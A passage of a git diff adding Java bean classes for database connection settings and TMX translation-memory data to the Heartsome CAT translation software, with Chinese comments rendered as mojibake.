implements PropertyChangeListener { + /** åœ¨åˆ—è¡¨ä¸­çš„ç¼–å· */ + private String id; + + /** æ•°æ®åº“类型 */ + private String dbType; + + /** æ•°æ®åº“å称 */ + private String dbName; + + /** æ•°æ®åº“实例(Oracle) */ + private String instance; + + /** æœåŠ¡å™¨ */ + private String host; + + /** 端å£å· */ + private String port; + + /** 用户å */ + private String userName; + + /** å¯†ç  */ + private String password; + + /** æ•°æ®å­˜æ”¾è·¯å¾„(internalDB) */ + private String itlDBLocation; + + /** 库中的内容是å¦é€‚用于项目 */ + private boolean hasMatch; + + private boolean isDefault; + + private PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this); + + /** + * constructor + */ + public DatabaseModelBean() { + this.dbName = ""; + this.dbType = ""; + this.host = ""; + this.port = ""; + this.instance = ""; + this.itlDBLocation = ""; + this.password = ""; + this.userName = ""; + this.hasMatch = false; + this.isDefault = false; + } + + /** @return the id */ + public String getId() { + return id; + } + + /** + * @param id + * the id to set + */ + public void setId(String id) { + propertyChangeSupport.firePropertyChange("id", this.id, this.id = id); + } + + /** @return the dbType */ + public String getDbType() { + return dbType; + } + + /** + * @param dbType + * the dbType to set + */ + public void setDbType(String dbType) { + propertyChangeSupport.firePropertyChange("dbType", this.dbType, this.dbType = dbType); + } + + /** @return the dbName */ + public String getDbName() { + return dbName; + } + + /** + * @param dbName + * the dbName to set + */ + public void setDbName(String dbName) { + propertyChangeSupport.firePropertyChange("dbName", this.dbName, this.dbName = dbName); + } + + /** @return the instance */ + public String getInstance() { + return instance; + } + + /** + * @param instance + * the instance to set + */ + public void setInstance(String instance) { + propertyChangeSupport.firePropertyChange("instance", this.instance, this.instance = instance); + } + + /** @return the host */ + public String getHost() { + return host; + } + + /** + * @param host + * the host to set + */ + public void setHost(String host) { + propertyChangeSupport.firePropertyChange("host", this.host, this.host = host); + } + + /** @return the port */ + public String getPort() { + return port; + } + + /** + * @param port + * the port to set + */ + public void setPort(String port) { + propertyChangeSupport.firePropertyChange("port", this.port, this.port = port); + } + + /** @return the userName */ + public String getUserName() { + return userName; + } + + /** + * @param userName + * the userName to set + */ + public void setUserName(String userName) { + propertyChangeSupport.firePropertyChange("userName", this.userName, this.userName = userName); + } + + /** @return the password */ + public String getPassword() { + return password; + } + + /** + * @param password + * the password to set + */ + public void setPassword(String password) { + propertyChangeSupport.firePropertyChange("password", this.password, this.password = password); + } + + /** @return the itlDBLocation */ + public String getItlDBLocation() { + return itlDBLocation; + } + + /** + * @param itlDBLocation + * the itlDBLocation to set + */ + public void setItlDBLocation(String itlDBLocation) { + propertyChangeSupport.firePropertyChange("itlDBLocation", this.itlDBLocation, + this.itlDBLocation = itlDBLocation); + } + + /** @return the hasMatch */ + public boolean isHasMatch() { + return hasMatch; + } + + /** + * @param hasMatch + * the hasMatch to set + */ + public void setHasMatch(boolean hasMatch) { + propertyChangeSupport.firePropertyChange("itlDBLocation", this.itlDBLocation, this.hasMatch = hasMatch); + } + + /** @return isDefault */ + public boolean isDefault() { + return isDefault; + } + + /** + * 设置当å‰æ•°æ®åº“是ä¸æ˜¯é»˜è®¤æ•°æ®åº“ + * @param isDefault + * the default to set + */ + public void setDefault(boolean isDefault) { + propertyChangeSupport.firePropertyChange("isDefault", this.isDefault, this.isDefault = isDefault); + } + + public void addPropertyChangeListener(String propertyName, PropertyChangeListener listener) { + propertyChangeSupport.addPropertyChangeListener(propertyName, listener); + } + + public void removePropertyChangeListener(PropertyChangeListener listener) { + propertyChangeSupport.removePropertyChangeListener(listener); + } + + public void propertyChange(PropertyChangeEvent arg0) { + + } + + /** + * 将当å‰DatabaseModelBean转化为MetaData + * @return {@link MetaData} 通过该MetaData获å–æ•°æ®åº“连接; + */ + public MetaData toDbMetaData() { + MetaData metaData = new MetaData(); + metaData.setDbType(this.getDbType()); + metaData.setDatabaseName(this.getDbName()); + metaData.setDataPath(this.getItlDBLocation()); + metaData.setInstance(this.getInstance()); + metaData.setServerName(this.getHost()); + metaData.setPort(this.getPort()); + metaData.setUserName(this.getUserName()); + metaData.setPassword(this.getPassword()); + return metaData; + } + + /** + * 将数æ®åº“元数æ®è½¬åŒ–为当å‰å®žä¾‹ + * @param metaData + * @return ; + */ + public void metaDatatToBean(MetaData metaData){ + this.setDbType(metaData.getDbType()); + this.setDbName(metaData.getDatabaseName()); + this.setInstance(metaData.getInstance()); + this.setHost(metaData.getServerName()); + this.setPort(metaData.getPort()); + this.setUserName(metaData.getUserName()); + this.setPassword(metaData.getPassword()); + this.setItlDBLocation(metaData.getDataPath()); + } + + /** + * 将当å‰å®žä¾‹çš„内容拷è´åˆ°a中.a中的内容将被覆盖 + * @return ; + */ + public DatabaseModelBean copyToOtherIntance(DatabaseModelBean a){ + a.setId(this.getId()); + a.setDbType(this.getDbType()); + a.setDbName(this.getDbName()); + a.setInstance(this.getInstance()); + a.setHost(this.getHost()); + a.setPort(this.getPort()); + a.setUserName(this.getUserName()); + a.setPassword(this.getPassword()); + a.setItlDBLocation(this.getItlDBLocation()); + a.setHasMatch(this.isHasMatch()); + a.setDefault(this.isDefault); + return a; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/FuzzySearchResult.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/FuzzySearchResult.java new file mode 100644 index 0000000..6ca6bbe --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/FuzzySearchResult.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.common.bean; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class FuzzySearchResult { + + private TmxTU tu; + private String dbName; + private int similarity; + + private Object dbOp; + + public FuzzySearchResult(TmxTU tu) { + this.tu = tu; + } + + public void setDbOp(Object dbOp){ + this.dbOp = dbOp; + } + + public Object getDbOp(){ + return this.dbOp; + } + + /** + * Set the value of tu + * @param newVar + * the new value of tu + */ + public void setTu(TmxTU newVar) { + tu = newVar; + } + + /** + * Get the value of tu + * @return the value of tu + */ + public TmxTU getTu() { + return tu; + } + + /** + * Set the value of dbName + * @param newVar + * the new value of dbName + */ + public void setDbName(String newVar) { + dbName = newVar; + } + + /** + * Get the value of dbName + * @return the value of dbName + */ + public String getDbName() { + return dbName; + } + + /** + * Set the value of similarity + * @param newVar + * the new value of similarity + */ + public void setSimilarity(int newVar) { + similarity = newVar; + } + + /** + * Get the value of similarity + * @return the value of similarity + */ + public int getSimilarity() { + return similarity; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/MetaData.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/MetaData.java new file mode 100644 index 0000000..1d206c2 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/MetaData.java @@ -0,0 +1,281 @@ +package net.heartsome.cat.common.bean; + + +/** + * 存放数æ®åº“é…ç½®çš„å…ƒæ•°æ® + * @author terry + * @version + * @since JDK1.6 + */ +public class MetaData implements Cloneable { + + /** æ•°æ®åº“类型 */ + protected String dbType; + + /** æ•°æ®åº“å称 */ + protected String databaseName = ""; + + /** æ•°æ®åº“实例(Oracle) */ + protected String instance = ""; + + /** æœåŠ¡å™¨å */ + protected String serverName = ""; + + /** 端å£å· */ + protected String port = ""; + + /** 用户å */ + protected String userName = ""; + + /** å¯†ç  */ + protected String password = ""; + + /** 优化策略 */ + protected String optimize = "speed"; + + /** æ•°æ®å­˜æ”¾è·¯å¾„(internalDB) */ + protected String dataPath = ""; + + /** 是å¦æ˜¯æœ¯è¯­åº“ */ + protected boolean isTB = true; + + /** 是å¦æ˜¯è®°å¿†åº“ */ + protected boolean isTM = true; + + /** + * 获å–æ•°æ®åº“å称 + * @return ; + */ + public String getDatabaseName() { + return databaseName; + } + + /** + * 设置数æ®åº“å称 + * @param databaseName ; + */ + public void setDatabaseName(String databaseName) { + this.databaseName = databaseName; + } + + /** + * 是å¦æ”¯æŒæ•°æ®åº“å称 + * @return ; + */ + public boolean databaseNameSupported() { + return true; + } + + /** + * å–å¾—æ•°æ®åº“实例å称 + * @return ; + */ + public String getInstance() { + return instance; + } + + /** + * 设置数æ®åº“实例å称 + * @param instance ; + */ + public void setInstance(String instance) { + this.instance = instance; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨æ•°æ®åº“实例å称 + * @return ; + */ + public boolean instanceSupported() { + return true; + } + + /** + * å–å¾—æœåŠ¡å™¨å称 + * @return ; + */ + public String getServerName() { + return serverName; + } + + /** + * 设置æœåŠ¡å™¨å称 + * @param serverName ; + */ + public void setServerName(String serverName) { + this.serverName = serverName; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨æœåŠ¡å™¨å称 + * @return ; + */ + public boolean serverNameSupported() { + return true; + } + + /** + * å–得端å£å· + * @return ; + */ + public String getPort() { + return port; + } + + /** + * 设置端å£å· + * @param port ; + */ + public void setPort(String port) { + this.port = port; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨ç«¯å£å· + * @return ; + */ + public boolean portSupported() { + return true; + } + + /** + * å–得用户å + * @return ; + */ + public String getUserName() { + return userName; + } + + /** + * 设置用户å + * @param userName ; + */ + public void setUserName(String userName) { + this.userName = userName; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨ç”¨æˆ·å + * @return ; + */ + public boolean userNameSupported() { + return true; + } + + /** + * å–å¾—å¯†ç  + * @return ; + */ + public String getPassword() { + return password; + } + + /** + * è®¾ç½®å¯†ç  + * @param password ; + */ + public void setPassword(String password) { + this.password = password; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨å¯†ç  + * @return ; + */ + public boolean passwordSupported() { + return true; + } + + /** + * å–得优化策略 + * @return ; + */ + public String getOptimize() { + return optimize; + } + +/* *//** + * 设置优化策略 + * @param optimize ; + *//* + public void setOptimize(String optimize) { + this.optimize = optimize; + }*/ + + /** + * å–å¾—æ•°æ®åº“文件路径 + * @return ; + */ + public String getDataPath() { + return dataPath; + } + + /** + * 设置数æ®åº“文件路径 + * @param dataPath ; + */ + public void setDataPath(String dataPath) { + this.dataPath = dataPath; + } + + /** + * 是å¦æ”¯æŒä½¿ç”¨æ•°æ®åº“文件路径 + * @return ; + */ + public boolean dataPathSupported() { + return true; + } + + /** + * å–å¾—æ•°æ®åº“类型 + * @return ; + */ + public String getDbType() { + return dbType; + } + + /** + * 设置数æ®åº“类型 + * @param dbType ; + */ + public void setDbType(String dbType) { + this.dbType = dbType; + } + + /** + * å–得是å¦æ˜¯æœ¯è¯­åº“ + * @return ; + */ + public boolean isTB() { + return isTB; + } + + /** + * 设置是å¦æ˜¯æœ¯è¯­åº“ + * @param isTB ; + */ + public void setTB(boolean isTB) { + this.isTB = isTB; + } + + /** + * å–得是å¦æ˜¯è®°å¿†åº“ + * @return ; + */ + public boolean isTM() { + return isTM; + } + + /** + * 设置是å¦æ˜¯è®°å¿†åº“ + * @param isTM ; + */ + public void setTM(boolean isTM) { + this.isTM = isTM; + } + + @Override + public Object clone() throws CloneNotSupportedException { + return super.clone(); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ProjectInfoBean.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ProjectInfoBean.java new file mode 100644 index 0000000..349c43b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/ProjectInfoBean.java @@ -0,0 +1,154 @@ +/** + * ProjectConfigBean.java + * + * Version information : + * + * Date:Nov 25, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyChangeSupport; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; + +import net.heartsome.cat.common.locale.Language; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ProjectInfoBean implements PropertyChangeListener { + private String projectName; + private LinkedHashMap mapField; + private LinkedHashMap mapAttr; + + private Language sourceLang; + private List targetLang; + + private List tmDb; + private List tbDb; + + private PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this); + + public ProjectInfoBean() { + this.mapField = new LinkedHashMap(); + this.mapAttr = new LinkedHashMap(); + this.targetLang = new ArrayList(); + + this.tmDb = new ArrayList(); + this.tbDb = new ArrayList(); + } + + /** @return the projectName */ + public String getProjectName() { + return projectName; + } + + /** + * @param projectName + * the projectName to set + */ + public void setProjectName(String projectName) { + propertyChangeSupport.firePropertyChange("projectName", this.projectName, this.projectName = projectName); + } + + public LinkedHashMap getMapField() { + return mapField; + } + + public void setMapField(LinkedHashMap mapField) { + this.mapField = mapField; +// propertyChangeSupport.firePropertyChange("mapField", this.mapField, this.mapField = mapField); + } + + public LinkedHashMap getMapAttr() { + return mapAttr; + } + + public void setMapAttr(LinkedHashMap mapAttr) { + this.mapAttr = mapAttr; +// propertyChangeSupport.firePropertyChange("mapAttr", this.mapAttr, this.mapAttr = mapAttr); + } + + /** @return the sourceLang */ + public Language getSourceLang() { + return sourceLang; + } + + /** + * @param sourceLang + * the sourceLang to set + */ + public void setSourceLang(Language sourceLang) { + propertyChangeSupport.firePropertyChange("sourceLang", this.sourceLang, this.sourceLang = sourceLang); + } + + /** @return 返回目标语言集 */ + public List getTargetLang() { + return targetLang; + } + + /** + * @param targetLang + * the targetLang to set + */ + public void setTargetLang(List targetLang) { + propertyChangeSupport.firePropertyChange("sourceLang", this.sourceLang, this.targetLang = targetLang); + } + + /** @return the tmDb */ + public List getTmDb() { + return tmDb; + } + + /** + * @param tmDb + * the tmDb to set + */ + public void setTmDb(List tmDb) { + this.tmDb = tmDb; + } + + /** @return the tbDb */ + public List getTbDb() { + return tbDb; + } + + /** + * @param tbDb + * the tbDb to set + */ + public void setTbDb(List tbDb) { + this.tbDb = tbDb; + } + + public void propertyChange(PropertyChangeEvent arg0) { + + } + + /** + * 添加数æ®Bandingç›‘å¬ + * @param propertyName + * @param listener + */ + public void addPropertyChangeListener(String propertyName, PropertyChangeListener listener) { + propertyChangeSupport.addPropertyChangeListener(propertyName, listener); + } + + /** + * 注销数æ®Bandingç›‘å¬ + * @param listener + */ + public void removePropertyChangeListener(PropertyChangeListener listener) { + propertyChangeSupport.removePropertyChangeListener(listener); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxContexts.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxContexts.java new file mode 100644 index 0000000..6f42475 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxContexts.java @@ -0,0 +1,92 @@ +/** + * TmxContexts.java + * + * Version information : + * + * Date:2013-1-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxContexts { + + /** context Prop XmlElement type attribute value in R8 */ + public static final String PRE_CONTEXT_NAME = "x-preContext"; + /** context Prop XmlElement type attribute value in R8 */ + public static final String NEXT_CONTEXT_NAME = "x-nextContext"; + + private String[] preContext; + private String[] nextContext; + + public TmxContexts() { + preContext = new String[2]; + nextContext = new String[2]; + } + + public void appendPreContext(String val) { + if (val == null || val.length() == 0) { + return; + } + if (preContext[0] != null && preContext[1] != null) { + String s1 = preContext[0]; + preContext[0] = val; + preContext[1] = s1; + } else if (preContext[1] == null) { + preContext[1] = val; + } else if (preContext[0] == null) { + preContext[0] = val; + } + } + + public void appendNextContext(String val) { + if (val == null || val.length() == 0) { + return; + } + if (nextContext[0] != null && nextContext[1] != null) { + String s1 = nextContext[0]; + nextContext[0] = val; + nextContext[1] = s1; + } else if (nextContext[1] == null) { + nextContext[1] = val; + } else if (nextContext[0] == null) { + nextContext[0] = val; + } + } + + /** @return the nextContext */ + public String getNextContext() { + StringBuffer bf = new StringBuffer(); + for (String s : nextContext) { + if (s != null && s.length() != 0) { + bf.append("," + s); + } + } + if (bf.length() != 0) { + return bf.substring(1); + } + return ""; + } + + /** @return the preContext */ + public String getPreContext() { + StringBuffer bf = new StringBuffer(); + for (String s : preContext) { + if (s != null && s.length() != 0) { + bf.append("," + s); + } + } + if (bf.length() != 0) { + return bf.substring(1); + } + return ""; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxHeader.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxHeader.java new file mode 100644 index 0000000..710c348 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxHeader.java @@ -0,0 +1,227 @@ +/** + * TmxHeader.java + * + * Version information : + * + * Date:2013-1-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxHeader { + private String adminlang; + private String changedate; + private String changeid; + private String creationdate; + private String creationid; + private String creationtool; + private String creationtoolversion; + private String datatype; + /** container of Prop,Note,Ude (XML Element) */ + private Object[] items; + /** + * o-encoding + */ + private String oencoding; + /** + * o-tmf + */ + private String otmf; + private String segtype; + private String srclang; + + /** tmx 节点中的version 属性值 */ + private String tmxVersion; + + /** @return the adminlang */ + public String getAdminlang() { + return adminlang; + } + + /** + * @param adminlang + * the adminlang to set + */ + public void setAdminlang(String adminlang) { + this.adminlang = adminlang; + } + + /** @return the changedate */ + public String getChangedate() { + return changedate; + } + + /** + * @param changedate + * the changedate to set + */ + public void setChangedate(String changedate) { + this.changedate = changedate; + } + + /** @return the changeid */ + public String getChangeid() { + return changeid; + } + + /** + * @param changeid + * the changeid to set + */ + public void setChangeid(String changeid) { + this.changeid = changeid; + } + + /** @return the creationdate */ + public String getCreationdate() { + return creationdate; + } + + /** + * @param creationdate + * the creationdate to set + */ + public void setCreationdate(String creationdate) { + this.creationdate = creationdate; + } + + /** @return the creationid */ + public String getCreationid() { + return creationid; + } + + /** + * @param creationid + * the creationid to set + */ + public void setCreationid(String creationid) { + this.creationid = creationid; + } + + /** @return the creationtool */ + public String getCreationtool() { + return creationtool; + } + + /** + * @param creationtool + * the creationtool to set + */ + public void setCreationtool(String creationtool) { + this.creationtool = creationtool; + } + + /** @return the creationtoolversion */ + public String getCreationtoolversion() { + return creationtoolversion; + } + + /** + * @param creationtoolversion + * the creationtoolversion to set + */ + public void setCreationtoolversion(String creationtoolversion) { + this.creationtoolversion = creationtoolversion; + } + + /** @return the datatype */ + public String getDatatype() { + return datatype; + } + + /** + * @param datatype + * the datatype to set + */ + public void setDatatype(String datatype) { + this.datatype = datatype; + } + + /** @return the items */ + public Object[] getItems() { + return items; + } + + /** + * @param items + * the items to set + */ + public void setItems(Object[] items) { + this.items = items; + } + + /** @return the oencoding */ + public String getOencoding() { + return oencoding; + } + + /** + * @param oencoding + * the oencoding to set + */ + public void setOencoding(String oencoding) { + this.oencoding = oencoding; + } + + /** @return the otmf */ + public String getOtmf() { + return otmf; + } + + /** + * @param otmf + * the otmf to set + */ + public void setOtmf(String otmf) { + this.otmf = otmf; + } + + /** @return the segtype */ + public String getSegtype() { + return segtype; + } + + /** + * @param segtype + * the segtype to set + */ + public void setSegtype(String segtype) { + this.segtype = segtype; + } + + /** @return the srclang */ + public String getSrclang() { + return srclang; + } + + /** + * @param srclang + * the srclang to set + */ + public void setSrclang(String srclang) { + this.srclang = srclang; + } + + /** @return the tmxVersion */ + public String getTmxVersion() { + return tmxVersion; + } + + /** + * @param tmxVersion + * the tmxVersion to set + */ + public void setTmxVersion(String tmxVersion) { + this.tmxVersion = tmxVersion; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxNote.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxNote.java new file mode 100644 index 0000000..ca3058f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxNote.java @@ -0,0 +1,106 @@ +/** + * TmxNote.java + * + * Version information : + * + * Date:2013-1-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.bean; + +/** + * The TMX note node + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxNote { + private int dbPk; + private String xmlLang; + private String encoding; + private String content; + + public TmxNote() { + } + + /** + * @param xmlLang + * Attribute + * @param encoding + * Attribute + * @param content + * The content of note Node + */ + public TmxNote(String xmlLang, String encoding, String content) { + this.xmlLang = xmlLang; + this.encoding = encoding; + this.content = content; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof TmxNote) { + TmxNote _obj = (TmxNote) obj; + if (_obj.content.equals(this.content)) { + return true; + } + } + return false; + } + + /** @return the xmlLang */ + public String getXmlLang() { + return xmlLang; + } + + /** + * @param xmlLang + * the xmlLang to set + */ + public void setXmlLang(String xmlLang) { + this.xmlLang = xmlLang; + } + + /** @return the encoding */ + public String getEncoding() { + return encoding; + } + + /** + * @param encoding + * the encoding to set + */ + public void setEncoding(String encoding) { + this.encoding = encoding; + } + + /** @return the content */ + public String getContent() { + return content; + } + + /** + * @param content + * the content to set + */ + public void setContent(String content) { + this.content = content; + } + + /** @return the dbPk */ + public int getDbPk() { + return dbPk; + } + + /** + * @param dbPk + * the dbPk to set + */ + public void setDbPk(int dbPk) { + this.dbPk = dbPk; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxProp.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxProp.java new file mode 100644 index 0000000..007620e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxProp.java @@ -0,0 +1,91 @@ +package net.heartsome.cat.common.bean; + +/** + * prop + * @author jason + * @version + * @since JDK1.6 + */ +public class TmxProp { + private int dbPk; + + /** The prop node type name */ + private String name; + + /** the prop node content */ + private String value; + + public TmxProp() { + } + + public TmxProp(String name, String value) { + name = name == null ? "" : name; + value = value == null ? "" : value; + this.name = name; + this.value = value; + } + + /** + * Both name and value equals then return true, otherwise return false; + */ + @Override + public boolean equals(Object obj) { + if(obj == null){ + return false; + } + if (obj instanceof TmxProp) { + TmxProp _obj = (TmxProp) obj; + if (_obj.name != null && _obj.name.equals(this.name) && _obj.value != null && _obj.value.equals(this.value)) { + return true; + } + } + return false; + } + + /** + * Set the value of name + * @param newVar + * the new value of name + */ + public void setName(String newVar) { + name = newVar; + } + + /** + * Get the value of name + * @return the value of name + */ + public String getName() { + return name; + } + + /** + * Set the value of value + * @param newVar + * the new value of value + */ + public void setValue(String newVar) { + value = newVar; + } + + /** + * Get the value of value + * @return the value of value + */ + public String getValue() { + return value; + } + + /** @return the dbPk */ + public int getDbPk() { + return dbPk; + } + + /** + * @param dbPk + * the dbPk to set + */ + public void setDbPk(int dbPk) { + this.dbPk = dbPk; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxSegement.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxSegement.java new file mode 100644 index 0000000..9925e45 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/bean/TmxSegement.java @@ -0,0 +1,279 @@ +package net.heartsome.cat.common.bean; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; + +/** + * TUV + * + * æ›´æ–°by yule : 2013-8-19 + * 如果TmxSegment 是由数æ®åº“中构建,其固定值是存在#attributes中的 + * @author jason + * @version + * @since JDK1.6 + */ +public class TmxSegement { + + private int dbPk; + private String pureText; + private String fullText; + private String langCode; + private String textTagPlaceHolder; + private List innerTags; + + private String creationUser; + private String creationDate; + private String changeDate; + private String changeUser; + private String creationTool; + private String creationToolVersion; + + /** TUV XMLElement Attributes */ + private Map attributes; + + public TmxSegement() { + }; + + public TmxSegement(String pureText, String fullText, String langCode) { + this(fullText,langCode); + this.pureText = pureText; + this.fullText = fullText; + this.langCode = langCode; + } + + public TmxSegement(String fullText, String langCode) { + StringBuilder b = new StringBuilder(fullText); + innerTags = TmxInnerTagParser.getInstance().parseInnerTag(b); + textTagPlaceHolder = b.toString(); + this.langCode = langCode; + } + + /** + * Set the value of pureText + * @param newVar + * the new value of pureText + */ + public void setPureText(String newVar) { + pureText = newVar; + } + + /** + * Get the value of pureText + * @return the value of pureText + */ + public String getPureText() { + if (pureText == null) { + if (textTagPlaceHolder != null) { + return PATTERN.matcher(textTagPlaceHolder).replaceAll(""); + } + } + return pureText; + } + + public void setFullTextWithParseTag(String fullText) { + StringBuilder b = new StringBuilder(fullText); + innerTags = TmxInnerTagParser.getInstance().parseInnerTag(b); + textTagPlaceHolder = b.toString(); + } + + public String getTextTagPlaceHolder() { + return this.textTagPlaceHolder; + } + + public List getInnerTags() { + return this.innerTags; + } + + /** + * Set the value of fullText + * @param newVar + * the new value of fullText + */ + public void setFullText(String newVar) { + fullText = newVar; + } + + /** + * Get the value of fullText + * @return the value of fullText + */ + public String getFullText() { + if (fullText == null) { + if (textTagPlaceHolder != null) { + Matcher matcher = PATTERN.matcher(textTagPlaceHolder); + int offset = 0; + StringBuilder sb = new StringBuilder(textTagPlaceHolder); + while (matcher.find()) { + String placeHolder = matcher.group(); + int index = TmxInnerTagParser.getInstance().getPlaceHolderBuilder().getIndex(null, placeHolder); + if (index != -1) { + InnerTagBean bean = innerTags.get(index); + if (bean != null) { + String tagContent = bean.getContent(); + int start = matcher.start() + offset; + int end = matcher.end() + offset; + sb.replace(start, end, tagContent); + offset += tagContent.length() - 1; + } + } + } + return sb.toString(); + } + } + return fullText; + } + + /** + * Set the value of langCode + * @param newVar + * the new value of langCode + */ + public void setLangCode(String newVar) { + langCode = newVar; + } + + /** + * Get the value of langCode + * @return the value of langCode + */ + public String getLangCode() { + return langCode; + } + + /** @return the dbPk */ + public int getDbPk() { + return dbPk; + } + + /** + * @param dbPk + * the dbPk to set + */ + public void setDbPk(int dbPk) { + this.dbPk = dbPk; + } + + /** + * @param attributes + * the attributes to set + */ + public void setAttributes(Map attributes) { + this.attributes = attributes; + } + + /** @return the attributes */ + public Map getAttributes() { + 